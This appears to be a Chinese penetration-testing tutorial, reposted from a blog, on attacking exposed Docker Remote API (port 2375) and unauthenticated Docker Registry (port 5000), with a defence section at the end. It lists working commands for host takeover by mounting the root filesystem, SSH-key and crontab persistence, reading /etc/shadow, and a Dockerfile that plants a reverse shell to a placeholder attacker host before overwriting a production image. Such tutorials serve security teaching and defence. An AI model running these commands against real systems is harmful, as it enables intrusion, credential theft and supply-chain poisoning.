在云原生与容器化技术普及的今天，Docker 已成为企业基础设施的核心。然而，配置不当的 Docker 服务往往会成为黑客眼中的“通往天国的阶梯”。在红蓝对抗或靶机实战中，2375 端口（Remote API）和 5000 端口（Registry）是两个极具代表性的切入点。
虽然两者都与 Docker 相关，但在渗透测试的视角下，它们的利用逻辑完全不同：2375 端口意味着“即时的控制权”，而 5000 端口则代表着“深远的供应链打击”。
场景一：Docker 2375 —— 靶机中的“后门直连”
Docker 2375 端口是 Docker Remote API 的默认非加密端口。它设计的初衷是方便开发者远程管理容器镜像、启动或停止服务。然而，一旦该端口对公网开放且未配置 TLS 认证，任何攻击者都可以像操作本地 Docker 一样控制目标宿主机。
1. 原理与风险
Docker 采用了典型的 C/S 架构。在 Linux 下，默认通过 /var/run/docker.sock 这一本地 Unix 域套接字通信。为了实现远程管理，管理员可能会开启 TCP 监听。
- 2375 端口：非加密的 HTTP 通信。
- 2376 端口：基于 TLS 加密的 HTTPS 通信。
如果在靶机中发现 2375 开放，意味着你可以绕过所有的业务逻辑，直接与 Docker 守护进程对话。
2. 渗透流程：从信息探测到指令执行
第一步：指纹识别
通过 nmap 或 curl 探测端口。如果返回 Docker 的版本信息（JSON 格式），说明存在未授权访问漏洞。
curl http://<TARGET_IP>:2375/version第二步：接管 Docker 权限
你可以直接在本地使用 -H 参数指定远程主机，接管其所有容器控制权：
# 查看所有运行中的容器
docker -H tcp://<TARGET_IP>:2375 ps
# 查看所有镜像
docker -H tcp://<TARGET_IP>:2375 images3. 深度利用：从容器逃逸到宿主机提权
仅仅控制容器是不够的，攻击者的终极目标是宿主机。最经典的利用方案是：拉取一个镜像，并在启动时将宿主机的根目录挂载到容器内部。
攻击载荷示例：
docker -H tcp://<TARGET_IP>:2375 run -it -v /:/mnt alpine chroot /mnt-v /:/mnt：将宿主机的根目录/映射到容器的/mnt目录。chroot /mnt：切换根目录，此时你的 Shell 环境实际上已经变成了宿主机的环境。
拿到宿主机权限后的操作：
- 修改 SSH 公钥：将你的
id_rsa.pub写入/root/.ssh/authorized_keys，实现持久化控制。 - 计划任务投毒：在
/etc/crontab中写入反弹 Shell 脚本。 - 敏感文件读取：直接读取
/etc/shadow进行密码破解。
场景二：Docker 5000 —— 隐蔽的供应链投毒
如果说 2375 是直接破门而入，那么 5000 端口就是通过“污染水源”来毒害整座城市。5000 端口通常运行着 Docker Registry V2，即私有镜像仓库。
1. 原理与供应链攻击模型
在现代开发流程（CI/CD）中，开发人员将代码推送到 Git，流水线自动构建镜像并推送到私有仓库（5000 端口），最后生产服务器从该仓库拉取镜像运行。 如果攻击者能控制 5000 端口，他们就可以修改已有的镜像，植入恶意代码（如后门、挖矿脚本）。由于这些镜像是“受信任”的内部镜像，运维人员很难发现异常。
2. 渗透流程：镜像劫持实战
第一步：API 枚举与资产盘点 Docker Registry 提供了一套 RESTful API。我们可以通过以下路径列出仓库中的所有镜像（Repositories）：
curl http://<TARGET_IP>:5000/v2/_catalog假设发现了一个名为 webapp-prod 的镜像，接下来获取它的所有标签（Tags）：
curl http://<TARGET_IP>:5000/v2/webapp-prod/tags/list第二步：下载原始镜像 将目标镜像拉取到本地进行“深度加工”：
docker pull <TARGET_IP>:5000/webapp-prod:latest第三步：镜像投毒（后门植入）
创建一个恶意的 Dockerfile，以原始镜像为基础：
FROM <TARGET_IP>:5000/webapp-prod:latest
USER root
# 植入反弹 Shell 脚本
RUN echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /etc/rc.local
# 或者直接修改业务代码
COPY malicious_code.py /app/core.py构建新的镜像：
docker build -t <TARGET_IP>:5000/webapp-prod:latest .第四步：覆盖推送（Push Back） 由于 Registry 端口未授权，攻击者可以直接推送同名镜像覆盖掉原始镜像：
docker push <TARGET_IP>:5000/webapp-prod:latest3. 等待“鱼儿”上钩
当生产环境进行下一次自动发布，或者运维人员手动重启服务拉取 latest 标签时，你的恶意载荷就会在生产服务器内部执行。这种攻击具有极强的隐蔽性和延迟性，因为攻击发生时，你甚至不需要在线。
攻防维度对比
| 维度 | Docker 2375 (API) | Docker 5000 (Registry) |
|---|---|---|
| 攻击类型 | 直接攻击、未授权访问 | 供应链攻击、中间人劫持 |
| 即时性 | 极高。一旦发现，秒拿权限。 | 中低。需要等待镜像被拉取/部署。 |
| 隐蔽性 | 低。大量 Docker 指令会在系统日志中留下痕迹。 | 高。恶意代码混在业务代码中，极难审计。 |
| 影响范围 | 单台宿主机。 | 整个集群或所有使用该镜像的服务器。 |
| 渗透目标 | 获取系统 Shell、逃逸到宿主机。 | 权限维持、数据窃取、横向移动。 |
| 关键漏洞点 | DOCKER_OPTS="-H 0.0.0.0:2375" |
insecure-registries 配置。 |
防御方案：构建容器防火墙
面对这两种截然不同的威胁，防御者需要从配置和架构两个层面发力：
1. 针对 2375 端口的防御
- 严禁公网暴露：绝对不要将 2375 端口映射到公网。
- 强制启用 TLS：使用 Docker 官方提供的证书认证机制（
--tlsverify），只有持有有效证书的客户端才能通信。 - 使用 Socket 代理：如果必须远程管理，建议通过 SSH 隧道转发
/var/run/docker.sock，而不是开启监听端口。
2. 针对 5000 端口的防御
- 身份验证机制：为 Registry 配置基本的
htpasswd认证或集成 LDAP/OAuth。 - 镜像签名（Notary）：启用 Docker Content Trust (DCT)。服务器只允许运行经过数字签名的镜像，防止镜像被篡改。
- 只读镜像库：对于生产环境使用的 Registry，应严格控制 Push 权限，采用“单向流动”原则。
- 漏洞扫描：在 CI/CD 流程中加入 Trivy 或 Clair 等扫描工具，在镜像入库前检测其中的恶意代码和漏洞。
结语
在渗透测试的视野里，Docker 2375 是一把手术刀，追求的是精准、快速的单点突破；而 Docker 5000 则是一瓶慢性毒药，利用的是信任链条的脆弱性，追求的是大规模、持久化的打击。
作为安全研究员或网络安全工程师，理解这两个场景的区别至关重要：前者考验的是对容器逃逸和宿主机配置的理解，后者考验的是对企业 DevOps 流程及供应链脆弱性的洞察。在打靶实践中，当你看到这两个端口时，请根据目标的网络位置和你的渗透目的，选择最合适的“姿势”。
原文 https://blog.csdn.net/2301_79518550/article/details/160279721